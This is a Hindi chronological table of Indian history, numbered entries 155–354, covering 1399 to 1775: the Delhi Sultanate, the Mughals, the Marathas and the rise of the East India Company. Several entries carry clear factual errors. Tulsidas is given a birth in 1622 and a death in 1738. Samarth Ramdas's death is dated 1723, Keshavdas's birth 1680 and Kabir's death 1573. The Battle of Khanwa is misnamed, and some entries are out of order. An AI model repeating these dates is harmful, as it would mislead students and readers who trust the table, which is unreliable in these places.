155 1399 ई. दिल्ली सल्तनत का विघटन प्रारम्भ, सूबेदारों द्वारा स्वतंत्र राज्यों की स्थापना, दिल्ली-दोआब में इक़बाल ख़ाँ, गुजरात में जफ़र ख़ाँ, सिंध-मुल्तान में ख़िज़्र ख़ाँ, महोबा-कालपी में महमूद ख़ाँ, कन्नौज अथवा बिहार में ख्वाजा जहान, धारा (इन्दौर) में दिलावर ख़ाँ, समन में ग़ालिब ख़ाँ, बयाना में शख्स ख़ाँ तथा ग्वालियर में भीमदेव द्वारा स्वतंत्र राज्य स्थापित।
156 1411–42 ई. अहमदशाह द्वारा अहमदाबाद की स्थापना एवं स्वतंत्रता की घोषणा।
157 1412 ई. अन्तिम तुग़लक़ शासक महमूद की मृत्यु, तुग़लक़ वंश का पतन।
158 1414 ई. दिल्ली पर ख़िज़्र ख़ाँ का अधिकार।
159 1420–1421 ई. इटली के यात्री निकोलो कोंटी की भारत यात्रा।
160 1429 ई. बहमनी राज्य की राजधानी गुलबर्गा से बीदर स्थानान्तरित।
161 1430–69 ई. मेवाड़ में राणा कुम्भा का राज्यकाल।
162 1442 ई. अब्दुर्रज्जाक की विजयनगर यात्रा।
163 1447 ई. बहलोल लोदी का दिल्ली पर अधिकार, लोदी वंश की स्थापना।
164 1450 ई. गोरखनाथ की साखियों की रचना।
165 1455 ई. प्रसिद्ध संत कबीर का जन्म।
166 1469 ई. सिक्ख धर्म के संस्थापक गुरुनानक देव का ननकाना (पंजाब) में जन्म।
167 1470 ई. रूसी यात्री निकितिन की भारत यात्रा।
168 1472 ई. शेरशाह सूरी का जन्म।
169 1479 ई. बल्लभाचार्य का जन्म।
170 1483 ई. जहीरूद्दीन बाबर का फरगना में जन्म।
171 1485 ई. चैतन्य महाप्रभु का जन्म।
172 1486 ई. पुर्तग़ाली नाविक सरदार बार्थोलोम्यो डिआज डेनोवेज ने 'केप ऑफ़ गुड होप' (शुभ यात्रा अंतरीप) की खोज की, इसी मार्ग से बाद में वास्कोडिगामा ने भारत की यात्रा की।
173 1489 ई. सिकन्दर लोदी गद्दी पर आसीन, बीजापुर स्वाधीन।
174 1490 ई. दिल्ली सल्तनत से अहमदनगर स्वाधीन।
175 1494 ई. बंगाल में हुसैनशाह गद्दी पर आसीन, बाबर फरगना का अमीर बना।
176 1498 ई. पुर्तग़ाली नाविक वास्कोडिगामा भारत में, कालीकट पहुँचा।
177 1502 ई. पुर्तग़ाल के राजा जॉन द्वितीय को पोप अलेक्जेंडर षष्टम का 'बुल' प्रदान किया गया, जिससे पुर्तग़ालियों को भारत के साथ व्यापार करने का एकाधिकार तथा भारत में राज्य स्थापित करने का औपचारिक अधिकार मिला।
178 1503 ई. फरगना बाबर के अधिकार से मुक्त।
179 1504 ई. इटली के लुडोविको डी बार्थेमा की पश्चिम तथा दक्षिण भारत की यात्रा, काबुल पर अधिकार कर बाबर का मुल्तान की ओर प्रस्थान।
180 1507 ई. गुजरात के शासक महमूद बेगड़ा का दीव (गोवा) में पुर्तग़ालियों के विरुद्ध अभियान।
181 1508 ई. द्वितीय मुग़ल सम्राट हुमायूँ का जन्म।
182 1509 ई. विजयनगर में कृष्णदेवराय सिंहासनरूढ़, पुर्तग़ाली गवर्नर फ़्रांसिस्को-द-अल्मेडा भारत आया।
183 1509–1527 ई. मेवाड़ में राणा सांगा का राज्यकाल।
184 1510 ई. गोवा पर पुर्तग़ालियों का अधिकार, अलबुकर्क गवर्नर बना।
185 1512–1518 ई. गोलकुण्डा बहमनी राज्य से मुक्त।
186 1517 ई. सिकन्दर लोदी की मृत्यु के पश्चात् इब्राहिम लोदी गद्दी पर बैठा।
187 1519 ई. बाबर का भारत आगमन।
188 1520 ई. बाबर का भीरा, सियालकोट पर आक्रमण।
189 1522 ई. बाबर का कंधार पर अधिकार।
190 1523 ई. लाहौर और सरहिन्द पर बाबर का आक्रमण, लाहौर पर अधिकार (1524)।
191 1526 ई. (21 अप्रैल) बाबर तथा इब्राहिम लोदी के मध्य पानीपत का प्रथम युद्ध, इब्राहीम लोदी की पराजय तथा मृत्यु, दिल्ली पर क़ब्ज़े के साथ ही मुग़ल साम्राज्य की स्थापना।
192 1527 ई. राणा संग्राम सिंह तथा बाबर के मध्य खांडवा का युद्ध (16 मार्च), संग्राम सिंह पराजित।
193 1528 ई. राणा संग्राम सिंह की मृत्यु, बाबर ने सहयोग के बदले शेरशाह को सासाराम (बिहार) की पैतृक जाग़ीर वापस की।
194 1530 ई. बाबर की मृत्यु (29 मई), विजयनगर के राजा कृष्णदेव राय की मृत्यु (26 दिसम्बर)।
195 1531 ई. गुजरात के बहादुरशाह का मालवा तथा उज्जैन पर अधिकार।
196 1532 ई. रायसेन, चंदेरी एवं मंदसौर पर बहादुरशाह का अधिकार तथा चित्तौड़ पर पहला हमला।
197 1533 ई. बहादुरशाह ने चित्तौड़ का घेरा उठाया, रणथम्भौर तथा अजमेर पर अधिकार, वैष्णव संत चैतन्य का निधन।
198 1534 ई. हुमायूँ का मालवा को प्रस्थान, शेरशाह ने सूरजगढ़ की लड़ाई में बंगाल के शासक महमूद ख़ाँ को परास्त किया।
199 1535 ई. पुर्तग़ालियों की सहायता से बहादुरशाह का चित्तौड़ पर अधिकार, हुमायूँ से बहादुरशाह पराजित, हुमायूँ की गुजरात तथा मालवा पर विजय।
200 1536 ई. हुमायूँ ने अस्करी को गुजरात का शासक नियुक्त किया, गुजरात में मुग़लों के विरुद्ध विद्रोह।
201 1537 ई. गुजरात के शासक बहादुरशाह की मृत्यु।
202 1538 ई. शेरशाह के हाथों बंगाल का शासक महमूदशाह परास्त, हुमायूँ का बंगाल पर आक्रमण, सिक्ख गुरु नानक देव का निधन।
203 1539 ई. चौसा के युद्ध में हुमायूँ शेरशाह से पराजित।
204 1540 ई. शेरशाह दिल्ली की गद्दी पर बैठा।
205 1542 ई. मारवाड़ के राजा मालदेव के आमंत्रण पर हुमायूँ जोधपुर पहुँचा, अमरकोट में (15 अक्टूबर) अकबर का जन्म।
206 1544 ई. हुमायूँ फ़ारस के तहमस्प शाह की शरण में पहुँचा।
207 1545 ई. शाह तहमस्प की मदद से कंधार-काबुल पर पुनः हुमायूँ का अधिकार, शेरशाह की मृत्यु, इस्लामशाह गद्दी पर बैठा।
208 1553 ई. सूर वंशी शासक इस्लामशाह की मृत्यु।
209 1555 ई. लाहौर पर हुमायूँ का अधिकार।
210 1556 ई. हुमायूँ की मृत्यु (24 जनवरी), बैरम ख़ाँ के संरक्षण में अकबर मुग़ल सम्राट बना, पानीपत के दूसरे युद्ध (5 नवम्बर) में अकबर के द्वारा आदिलशाह का दीवान हेमू पराजित, पुर्तग़ाल से पहला प्रेस भारत पहुँचा, जिसे जेसुइट पादरी गोवा लेकर आए थे।
211 1557 ई. ख़िज़्र ख़ाँ के साथ लड़ाई में आदिलशाह मारा गया, सिकन्दर सूर को हराकर मानकोट के क़िले पर अकबर का अधिकार।
212 1560 ई. अकबर के द्वारा बैरम ख़ाँ का निष्कासन।
213 1561 ई. अकबर की मालवा पर विजय।
214 1562 ई. आमेर की राजकुमारी (राजा भारमल की पुत्री) से अकबर का विवाह, युद्ध-बंन्दियों को दास बनाने की प्रथा का उन्मूलन।
215 1563 ई. अकबर द्वारा तीर्थयात्रा-कर की समाप्ति।
216 1564 ई. अकबर द्वारा जज़िया कर की उगाही बन्द, रानी दुर्गावती को परास्त कर गोंडवाना मुग़ल राज्य में सम्मिलित, रानी द्वारा आत्महत्या।
217 1564–1567 ई. उजबेकों का विद्रोह।
218 1565 ई. विजयनगर के शासक रामराय और बहमनी सुल्तानों के बीच तालीकोट का युद्ध, विजयनगर पराजित।
219 1567 ई. राधावल्लभ सम्प्रदाय के प्रवर्तक श्री हरिवंश का देवबन्द (सहारनपुर) में जन्म।
220 1568 ई. अकबर की चित्तौड़ पर विजय।
221 1569 रणथम्भौर और कालिंजर पर अकबर का अधिकार, युवराज सलीम (जहाँगीर) का जन्म।
222 1571 ई. अकबर द्वारा फ़तेहपुर सीकरी का निर्माण तथा राजधानी बनाने का निर्णय।
223 1572 ई. राणा उदयसिंह की मृत्यु, जालौर के राजा और मेवाड़ सेनापतियों के द्वारा राणा प्रताप को गद्दी पर बैठाया गया।
224 1573 ई. कबीर का निधन, गुजरात पर अकबर का आधिपत्य।
225 1574–76 ई. अकबर की बिहार-बंगाल पर विजय।
226 1575 ई. ठुकरोई (उड़ीसा) का युद्ध, अकबर द्वारा दाऊद ख़ाँ पराजित फ़तेहपुर सीकरी में इबादतख़ाना की स्थापना।
227 1576 ई. हल्दीघाटी का युद्ध, अकबर द्वारा राणा प्रताप पराजित, अकबर का बंगाल पर अधिकार, दाऊद ख़ाँ की मृत्यु।
228 1578 ई. भारतीय भाषा की पहली पुस्तक "डुट्रिना क्रिस्टा' (तमिल भाषा में) मुद्रित व प्रकाशित, इस पुस्तक के लिए टाइप जुआबों गुंजाल्बेज नाम के स्पेनी लुहार ने क्किलोन (केरल) में ढाले थे। (दक्षिण भारत)
229 1579–1580 ई. अकबर ने 'महजरनामा' (इन्फैलिबिलिटी डिक्री) जारी किया, बंगाल-बिहार में विद्रोह, अकबर के दरबार में गोवा से प्रथम जेसुइट मिशन आया (1580)।
230 1580–1611 ई. गोलकुण्डा में सुल्तान कुली कुतुबशाह द्वितीय के आश्रय में 'रेख्ता' (हिन्दुस्तानी के आदि रूप) के कवियों को प्रोत्साहन।
231 1611–1656 आदिलशाह बीजापुर की गद्दी पर आसीन।
232 1582 ई. अकबर के द्वारा दीन-ए-इलाही की घोषणा।
233 1583 ई. पहले पाँच अंग्रेज़ व्यापारी (जॉन न्यूबरी, रिचर्ड स्टेपर, राल्फ़, जेम्स स्टोरी तथा विलियम लीड्स) अकबर के नाम महारानी एलिजाबेथ का पत्र लेकर भारत पहुँचे, अकबर से इनकी मुलाक़ात नहीं हो पाई, लेकिन लीड्स को अकबर के यहाँ झवेरी की नौकरी मिल गई, फिंच आठ साल तक भारत-बर्मा की यात्रा करने के बाद 26 अप्रैल, 1591 को लन्दन पहुँचा, फिंच के विवरण से ही अंग्रेज़ व्यापारियों की भारत से व्यापार करने की लालसा बलवती हुई।
234 1585 ई. कश्मीर पर अकबर का आधिपत्य।
235 1589 ई. राजा टोडरमल की मृत्यु।
236 1590–1592 ई. अकबर की सिंध पर विजय।
237 1591 ई. फ़ैज़ी को मुग़ल राजदूत बनाकर दक्कन के राज्यों में भेजा गया।
238 1592 ई. उड़ीसा पर अकबर का अधिकार।
239 1595 ई. अकबर की कंधार विजय, बलूचिस्तान मुग़ल साम्राज्य में सम्मिलित।
240 1597 ई. राणा प्रताप की मृत्यु।
241 1600 ई. अहमदनगर का पतन, लन्दन में महारानी एलिजाबेथ द्वारा अपने भाई जार्ज, अर्ल ऑफ़ कम्बरलैंड तथा सर जॉन हॉर्ट की ईस्ट इंडिया कम्पनी (द गवर्नर एंड कम्पनी ऑफ़ लन्दन ट्रेडिंग इन टु द ईस्ट इंडीज) को भारत से व्यापार करने के लिए अधिकार पत्र प्रदान किया गया।
242 1601 ई. अकबर का असीरगढ़ पर अधिकार।
243 1602 ई. अबुल फ़जल की मृत्यु, डच यूनिवर्सल यूनाइटेड ईस्ट इंडिया कम्पनी की स्थापना, 13 वर्षों में ही हालैण्ड के एशिया व्यापार में असाधारण वृद्धि।
244 1601–1603 ई. अकबर के पुत्र सलीम का विद्रोह।
245 1605 ई. अकबर की मृत्यु (16 अक्टूबर), जहाँगीर गद्दी पर बैठा (24 अक्टूबर)।
246 1606 ई. शहजादा ख़ुसरो का विद्रोह, जहाँगीर के आदेशानुसार पाँचवें सिक्ख गुरु अर्जुन देव को प्राणदण्ड, ईरानियों द्वारा कंधार का घेराव, जहाँगीर की मेवाड़ पर चढ़ाई।
247 1607 ई. मुग़लों के द्वारा कंधार मुक्त।
248 1608 ई. अहमद नगर पर मलिक अम्बर का पुनः अधिकार, इंग्लैण्ड के राजा जेम्स प्रथम का पत्र लेकर विलियम हाकिंस जहाँगीर के दरबार में भारत आया तथा तीन साल तक उसके दरबार में रहा, 1612 में वापस इंग्लैण्ड लौटकर भारत यात्रा का विवरण लिखा, संत तुकाराम का जन्म।
249 1609 ई. पुलिकट में डच फैक्टरी स्थापित।
250 1611 ई. मसुलीपटटम में अंग्रेज़ फैक्टरी स्थापित, जहाँगीर का नूरजहाँ से विवाह
251 1611-1625 ई. गोलकुण्डा में सुल्तान मुहम्मद कुतुबशाह का शासनकाल।
252 1612 ई. शाहजादा ख़ुर्रम (शाहजहाँ) का मुमताज़ महल से विवाह, बंगाल की राजधानी राजमहल से ढाका स्थानान्तरित।
253 1614 ई. मेवाड़ के राणा अमर सिंह से जहाँगीर की संधि।
254 1615 ई. मेवाड़ पर जहाँगीर का अधिकार, इंग्लैण्ड के शासक जेम्स प्रथम के राजदूत के रूप में सर टामस रो जहाँगीर के दरबार में आया।
255 1620 ई. कांगड़ा पर मुग़लों का अधिकार।
256 1622 ई. कंधार पर फ़ारस का पुनः अधिकार, शाहजहाँ का विद्रोह, गोस्वामी तुलसीदास का जन्म।
257 1625-1674 ई. गोलकुण्डा की गद्दी पर सुल्तान अब्दुल्ला कुत्बशाह बैठा।
258 1624 ई. अहमदनगर के मलिक अम्बर के हाथों मुग़ल सेना पराजित।
259 1626 ई. महावत ख़ाँ का विद्रोह।
260 1627 ई. जहाँगीर की मृत्यु (29 अक्टूबर), जुन्नार (पूना) के निकट शिवनेरी के क़िले में शिवाजी का जन्म (20 अप्रैल)।
261 1628 ई. शाहजहाँ मुग़ल सम्राट बना (6 फ़रवरी)।
262 1631 ई. मुमताज़ महल की मृत्यु (7 जून)।
263 1632 ई. बीजापुर पर मुग़ल आक्रमण, पुर्तग़ालियों के विरुद्ध सैन्य अभियन, हुगली में उनकी बस्ती नष्ट।
264 1633 ई. अहमदनगर के निज़ामशाही वंश का अन्त, अहमदनगर मुग़ल साम्राज्य में सम्मिलित, दौलताबाद के क़िले पर अधिकार।
265 1634 ई. अंग्रेज़ों को बंगाल में व्यापार करने का फ़रमान मिला, महावत ख़ाँ की मृत्यु।
266 1636 ई. बीजापुर और गोलकुण्डा से मुग़लों की संधि, औरंगज़ेब दक्कन का सूबेदार नियुक्त।
267 1638 ई. अली मर्दान द्वारा कंधार मुग़लों को समर्पित।
268 1638 ई. शाहजहाँ द्वारा नए राजधानी शहर शाहजहाँनाबाद का निर्माण प्रारम्भ।
269 1639 ई. अंग्रेज़ों द्वारा मद्रास में सेंट जॉर्ज फ़ोर्ट की आधारशिला रखी गई। (दक्षिण भारत)
270 1646 ई. बल्ख पर मुग़लों का अधिकार, तोरण पर शिवाजी का अधिकार।
271 1649 ई. कंधार पर पर पुनः फ़ारस का अधिकार।
272 1650 ई. मराठी संत तुकाराम का निधन।
273 1656 ई. शिवाजी का जावली पर आधिपत्य।
274 1657 ई. बीदर का पतन और मुग़लों द्वारा बीजापुर की घेराबन्दी, शाहजहाँ के अस्वस्थ होने पर 'उत्तराधिकारी का युद्ध' प्रारम्भ, बीजापुर के साथ द्वितीय सन्धि।
275 1658 ई. धरमत के युद्ध (5 मई) तथा सामूगढ़ के युद्ध (8 जून) में दारा की औरंगज़ेब के हाथों पराजय, शाहजहाँ आगरा में बन्दी (5 जून), औरंगज़ेब का राज्याभिषेक (31 जुलाई)।
276 1659 ई. दारा को मृत्युदण्ड, शिवाजी के हाथों अफ़ज़ल ख़ाँ की मृत्यु।
277 1660 ई. मीर जुमला बंगाल का सूबेदार नियुक्त, शिवाजी के द्वारा दक्षिण कर्नाटक क्षेत्र में चारों ओर हमले।
278 1661 ई. मुराद की हत्या, पुर्तग़ालियों द्वारा इस शर्त पर बम्बई अंग्रेज़ों को हस्तांतरित की गयी कि वे डचों को इस क्षेत्र में व्यापार से बाहर खदेड़ने में इनका साथ देंगे।
279 1662 ई. मीर जुमला का असम अभियान।
280 1663 ई. मीर जुमला की मृत्यु, शाइस्ता ख़ाँ बंगाल का सूबेदार नियुक्त।
281 1664 ई. शिवाजी का सूरत पर आक्रमण, स्थानीय पुर्तग़ाली उपनिवेश द्वारा शिवाजी को वार्षिक नज़राना देना स्वीकार, फ़्राँसीसी ईस्ट इंडिया कम्पनी की स्थापना।
282 1665 ई. राजा जयसिंह के हाथों शिवाजी की पराजय, मुग़लों के साथ शिवाजी की पुरन्दर सन्धि
283 1666 ई. शाहजहाँ की मृत्यु, मुग़ल दरबार में शिवाजी बन्दी (मई), नज़रबन्दी से मुक्त।
284 1668 ई. औरंगज़ेब द्वारा हिन्दुओं के विरुद्ध नये आदेश, ईस्ट इंडिया कम्पनी का पूर्ण अधिकार।
285 1669 ई. मथुरा में जाट सरदार गोकुल सिंह का विद्रोह, बम्बई पर अंग्रेज़ कम्पनी का पूर्ण अधिकार।
286 1670 ई. शिवाजी का सूरत पर दूसरा आक्रमण।
287 1671 ई. छत्रसाल के नेतृत्व में बुंदेलों का विद्रोह।
288 1672 ई. अफ्रीदी तथा सतनामी विद्रोह, दम लौहेम के नेतृत्व में फ़्राँसीसियों ने श्रीलंका में त्रिंकोमाली तथा चेन्नई के निकट सेंट टोम पर अधिकार, कुछ समय के पश्चात् डचों ने फ़्राँसीसियों से दोनों स्थानों को छीन लिया।
289 1673 ई. शिवाजी का सूरत पर तीसरा आक्रमण, हिन्दी कवि धनानंद का जन्म।
290 1674 ई. फ़्राँसीसी कप्तान फ़्राँसिस मार्टिन के द्वारा पांण्डिचेरी की स्थापना, शिवाजी द्वारा राज्याभिषेक (रायगढ़ में) तथा 'छत्रपति' की उपाधि धारण, 'स्वराज' की स्थापना।
291 1675 ई. सिक्ख गुरु तेगबहादुर सिंह को औरंगज़ेब द्वारा मृत्युदण्ड।
292 1677 ई. कर्नाटक में शिवाजी की विजय।
293 1679 ई. औरंगज़ेब द्वारा जज़िया कर पुनः आरोपित, मारवाड़ अभियान।
294 1680 ई. शिवाजी की मृत्यु, शंभाजी पेशवा बना, अलंकारवादी हिन्दी कवि केशवदास का जन्म।
295 1681 ई. असम पुनः स्वतंत्र, औरंगज़ेब का दक्षिण में अभियान।
296 1685 ई. अंग्रेज़ ईस्ट इंडिया कम्पनी का मुख्य व्यापार कार्यालय सूरत से बम्बई स्थानान्तरित।
297 1686 ई. औरंगज़ेब का बीजापुर पर अधिकार।
298 1687 ई. गोलकुण्डा मुग़ल साम्राज्य में सम्मिलित, अंग्रेज़ कम्पनी द्वारा औरंगज़ेब के विरुद्ध युद्ध की घोषणा।
299 1689 ई. औरंगज़ेब द्वारा शंभाजी को प्राणदण्ड, राजाराम सत्तारूढ़, शाहू बन्दी बना।
300 1699 ई. मालवा पर मराठों का प्रथम आक्रमण।
301 1700 ई. शंभाजी के छोटे भाई राजाराम की मृत्यु, ताराबाई के संरक्षण में शिवाजी तृतीय (राजाराम का पुत्र) गद्दी पर बैठा।
302 1702 ई. इंग्लैंण्ड में रानी ऐन गद्दी पर बैठीं, गोडोल्फिन के हस्तक्षेप से पुरानी और नयी कम्पनियों को एकीकरण कर नयी ईस्ट इंडिया कम्पनी का उदय।
303 1703 ई. मराठों का बरार पर आक्रमण।
304 1706 ई. मराठों का गुजरात पर आक्रमण, बड़ौदा ध्वस्त।
305 1707 ई. औरंगज़ेब की मृत्यु, बहादुरशाह प्रथम (राजकुमार मुहम्मद मुअज्जम) मुग़ल सम्राट बना, शाहू मुक्त, ताराबाई तथा शाहू समर्थकों के मध्य खेड़ा का युद्ध, मराठा राज्य दो भागों में विभक्त, सतारा में शाहू का राज्य तथा कोल्हापुर में ताराबाई (या शिवाजी तृतीय) का राज्य, पेशवा बालाजी विश्वनाथ, शाहू के साथ।
306 1708 ई. शाहू का राज्याभिषेक छत्रपति के रूप में, बालाजी विश्वनाथ को 'सेनाकर्ते' की उपाधि, सिक्खों के अन्तिम गुरु गोविंद सिंह का निधन (नादेड़ में)।
307 1712 ई. बहादुरशाह प्रथम की मृत्यु, जहाँदारशाह उत्तराधिकारी बना।
308 1713 ई. जहाँदारशाह की हत्या, बंधुओं की मदद से फ़र्रुख़सियर सिंहासनारूढ़।
309 1714 ई. बालाजी विश्वनाथ की 'पेशवा' के पद पर पदोन्नति, हुसैन अली दक्षिण का सूबेदार, हुसैन अली की मराठों से सन्धि।
310 1715 ई. सिक्ख नेता बन्दा बहादुर को प्राणदण्ड।
311 1717 ई. ईस्ट इंडिया कम्पनी को बादशाह फ़र्रुख़सियर का स्वतंत्र व्यापार (ड्यूटी-फ़्री) फ़रमान, कलकत्ता के निकट 37 गावों को ख़रीदने का अधिकार भी मिला।
312 1719 ई. फ़र्रुख़सियर की हत्या, मुहम्मदशाह रौशन अख़्तर गद्दी पर आसीन (दो अल्पकालिक शासकों रफ़ी-उद-दौला तथा रफ़ी-उद-दरजात की मृत्यु के उपरान्त), मुग़ल सम्राट द्वारा सनद प्रदान कर चौथ तथा सदरेशमुखी वसूलने का अधिकार तथा दक्कन के 6 सूबों को स्वराज्य प्रदान किया गया।
313 1720 ई. बाजीराव प्रथम पेशवा बने, सैय्यद बन्धुओं का अन्त, मराठों का उत्तरी अभियान प्रारम्भ।
314 1723 ई. शिवाजी के गुरु समर्थ रामदास की मृत्यु, पेशवा का मालवा पर आक्रमण।
315 1724 ई. सआदत ख़ाँ अवध का सूबेदार नियुक्त, दक्षिण में निज़ाम स्वतंत्र।
316 1725 ई. शुजाउद्दीन बंगाल का सूबेदार।
317 1731 ई. गॉटनबर्ग में सम्राट फ़्रेडरिक द्वारा 'स्वीडिश ईस्ट इंडिया' का गठन।
318 1735 ई. मुग़ल बादशाह द्वारा पेशवा बाजीराव प्रथम को मालवा के शासक के रूप में स्वीकृति।
319 1738 ई. गोस्वामी तुलसीदास (रामचरितमानस क रचयिता) का निधन।
320 1739–40 ई. दिल्ली पर नादिरशाह का आक्रमण, कोहिनूर हीरा एवं तख़्त-ए-ताऊस नादिरशाह के क़ब्ज़े में, खुरासान में नादिरशाह की उसके ही सेनापतियों के द्वारा हत्या।
321 1740 ई. सरफ़राज ख़ाँ की हत्या कर अलीवर्दी ख़ाँ बंगाल का नवाब बना, बालाजी बाजीराव पेशवा बने, अरकाट पर मराठों का आक्रमण।
322 1742 ई. बंगाल पर मराठों का आक्रमण, डूप्ले पांण्डिचेरी का गवर्नर नियुक्त।
323 1744 ई. यूरोप में फ्राँस तथा इंग्लैण्ड के बीच युद्ध आरम्भ, दोनों के विभिन्न उपनिवेशों में तनाव तथा संघर्ष।
324 1746–48 ई. प्रथम कर्नाटक (आंग्ल-फ़्राँसीसी) युद्ध।
325 1745 ई. रूहेलखण्ड रुहिल्लों के अधिकार में।
326 1746 ई. ला बोर्दने के नेतृत्व में फ़्राँसीसियों का चेन्नई पर अधिकार।
327 1747 ई. अहमदशाह अब्दाली का भारत पर आक्रमण।
328 1748 ई. हैदराबाद के निज़ाम आसफ़जाह की मृत्यु, पुत्र नासिर जंग तथा मुजफ़्फ़र जंग में सत्ता के लिए संघर्ष, संघर्ष के कारण निज़ाम का प्रभाव क्षीण तथा गद्दी के लिए कर्नाटक के नवाब चंदा साहब तथा नवाब अनवरुद्दीन के बीच संघर्ष।
329 1748–51 ई. अहमदशाह अब्दाली का अफ़ग़ानिस्तान और पंजाब पर अधिकार, मुहम्मदशाह की मृत्यु के पश्चात् अहमदशाह मुग़ल बादशाह बना (1748)।
330 1749 ई. यूरोप में ब्रिटिश और फ़्राँसीसियों के बीच 'एक्स-ला-शापेल' की सन्धि, भारत में अंग्रेज़ी और फ़्राँसीसी कम्पनियों में भी युद्ध विराम, फ़्राँसीसियों द्वारा चेन्नई अंग्रेज़ों को वापस, शाहू की मृत्यु तथा रामराज का छत्रपति के रूप में राज्याभिषेक।
331 1750–1754 ई. द्वितीय कर्नाटक युद्ध, डूप्ले की सहायता से चंदा साहब की अनवरुद्दीन पर विजय, हैदराबाद की निज़ामत मुजफ़्फ़र जंग को दिलाने के लिए चंदा साहब तथा डुप्ले का नासिर जंग पर सम्मिलित हमला, नासिर जंग को 600 सैनिकों की सहायता, कर्नाटक की गद्दी के लिए मुहम्मद अली को भी अंग्रेज़ी मदद।
332 1751 ई. अर्काट के क़िले पर राबर्ट क्लाइब का अधिकार, जिससे फ़्राँसीसी त्रिचनापल्ली से हटे, मुजफ़्फ़र जंग की मृत्यु, सलावत जंग निज़ाम बना, अलीवर्दी ख़ाँ की मराठों से सन्धि।
333 1754 ई. डूप्ले फ़्राँस वापस, गोडेहू नया फ़्राँसीसी डायरेक्टर जनरल, गोडेहू तथा अंग्रेज़ गवर्नर सांडर्स के बीच सन्धि, दोनों का भारतीय रियासतों के आन्तरिक मामलों में हस्तक्षेप न करने का निर्णय, फ़्राँसीसियों द्वारा अंग्रेज़ समर्थित मुहम्मद अली कर्नाटक का नवाब स्वीकृत, आलमगीर द्वितीय मुग़ल बादशाह बना।
334 1756 ई. अलीवर्दी ख़ाँ की मृत्यु, सिराजुद्दौला बंगाल की गद्दी पर आसीन तथा कलकत्ता पर अधिकार, तीसरा कर्नाटक युद्ध।
335 1757 ई. प्लासी के युद्ध (23 जून) में अंग्रेज़ों द्वारा सिराजुद्दौला पराजित, मीर ज़ाफ़र नवाब बनाया गया (28 जून), अंग्रेज़ों का कलकत्ता पर पुनः अधिकार, सिराजुद्दौला को मृत्युदण्ड (2 जुलाई), अंग्रेज़ों का राजनीतिक प्रभुत्व स्थापित।
336 1758 ई. फ़्राँसीसी गवर्नर लाली का भारत आगमन, अंग्रेज़ों के विरुद्ध अभियान आरम्भ, फोर्ट सेंट डेविड पर क़ब्ज़ा, पंजाब पर मराठों का अधिकार।
337 1759 बंगाल में अंग्रेज़ों द्वारा डच पराजित, बीदर का युद्ध, ग़ाजीउद्दीन द्वारा आलमगीर द्वितीय की हत्या, शाहआलम द्वितीय बादशाह बना (1759-1806)।
338 1760 ई. वांडीवास के युद्ध में अंग्रेज़ों के हाथों फ़्राँसीसी पराजित, रोबर्ट क्लाइब इंग्लैण्ड वापस, मीर क़ासिम बंगाल का नवाब बना।
339 1761 ई. अहमदशाह अब्दाली तथा मराठों के बीच पानीपत का तीसरा युद्ध (14 जनवरी), मराठे पराजित, फ़्राँसीसियों द्वारा पांण्डिचेरी अंग्रेज़ों को समर्पित, पेशवा बाजीराव का निधन, माधवराव सिंहासनारूढ़, हैदर अली मैसूर का नवाब, अवध का नवाब शुजाउद्दौला वज़ीर बना।
340 1762 ई. माधवराव के सिंहासनारूढ़ होने के उपरान्त रघुनाथराव द्वारा निज़ाम से मदद की माँग।
341 1763 ई. अंग्रेज़ों द्वारा पांण्डिचेरी फ़्राँसीसियों को वापस, बंगाल एवं बिहार पर मीर क़ासिम का अधिकार समाप्त, मीर क़ासिम निष्कासित, मीर ज़ाफ़र पुनः नबाब बना, रघुनाथराव का सत्ता पर क़ब्ज़ा, माधवराव बन्दी।
342 1764 ई. बक्सर का युद्ध, शाहआलम, शुजाउद्दौला तथा मीर क़ासिम की संयुक्त सेनायें अंग्रेज़ों से पराजित।
343 1765 ई. रोबर्ट क्लाइब द्वारा दूसरी बार पुनः बंगाल का गवर्नर बनकर वापस आया, शुजाउद्दौला, शाहआलम तथा ईस्ट इंडिया कम्पनी के मध्य इलाहाबाद की सन्धि, शाहआलम ने बिहार, बंगाल तथा उड़ीसा की दीवानी ईस्ट इंडिया कम्पनी को सौंपी, मीर ज़ाफ़र की मृत्यु।
344 1766 ई. निज़ाम ने उत्तरी सरकार क्षेत्र अंग्रेज़ों को दिया।
345 1767 ई. रोबर्ट क्लाइब इंग्लैण्ड वापस, वेरेलस्ट बंगाल का गवर्नर बना।
346 1767–69 ई. प्रथम मैसूर युद्ध, अंग्रेज़ों ने अपमानजनक शर्तों पर हैदर अली से सन्धि की, हैदर अली का चेन्नई अभियान।
347 1769 ई. निज़ाम और मराठों के साथ अंग्रेज़ों की चेन्नई सन्धि।
348 1770 ई. बंगाल में भीषण दुर्भिक्ष, पेरिस में दिवालिया हो जाने के कारण फ़्राँसीसी ईस्ट इंडिया कम्पनी भंग।
349 1771 ई. मराठों का हैदर अली पर आक्रमण, दिल्ली पर मराठों का क़ब्ज़ा, शाहआलम को अंग्रेज़ों के बन्धन से मुक्ति।
350 1772 ई. वारेन हेस्टिंग्स बंगाल का गवर्नर् नियुक्त, मराठों का रुहेलखंड पर आक्रमण, भारतीय मामलों के लिए ब्रिटिश संसद की दो संसदीय समितियों का गठन, पेशवा माधवराव की मृत्यु, नारायणराव पेशवा बना, पर ही शीघ्र मृत्यु, अवध के नवाब और रुहिल्लों का मराठों के विरुद्ध समझौता, कम्पनी द्वारा द्वैध शासन के समाप्ति की तथा खुद दीवान का कार्य अपने हाथों में लेने की घोषणा।
351 1772–1833 ई. राजा राममोहन राय का जीवनकाल।
352 1773 ई. ब्रिटिश संसद द्वारा रेग्युलेटिंग एक्ट पारित, कम्पनी पर संसद का आंशिक नियंत्रण, चेन्नई तथा बम्बई प्रेसीडेन्सियों पर कलकत्ता प्रेसीडेन्सी का आंशिक नियंत्रण, रघुनाथराव पेशवा बना, अंग्रेज़ों और अवध के नवाब के बीच रुहेलखण्ड पर संयुक्त रूप से चढ़ाई का समझौता।
353 1774 ई. वारेन हेस्टिंग्स बंगाल का गवर्नर-जनरल बना, कलकत्ता में पहले उच्चतम न्यायालय की स्थापना, नारायणराव पेशवा बना।
354 1775 ई. ईस्ट इंडिया कम्पनी और अवध के वज़ीर आसफ़उद्दौला के बीच (एक-दूसरे के विरुद्ध कार्रवाई न करने की) मैत्री सन्धि, नवाब ने अंग्रेज़ों से सैन्य सहायता लेने के बदले 2,60,000 रुपये प्रतिमाह देना स्वीकार किया, नन्द कुमार पर मुक़दमा तथा मृत्युदण्ड (6 मई), रघुनाथराव तथा अंग्रेज़ों के बीच सूरत की सन्धि
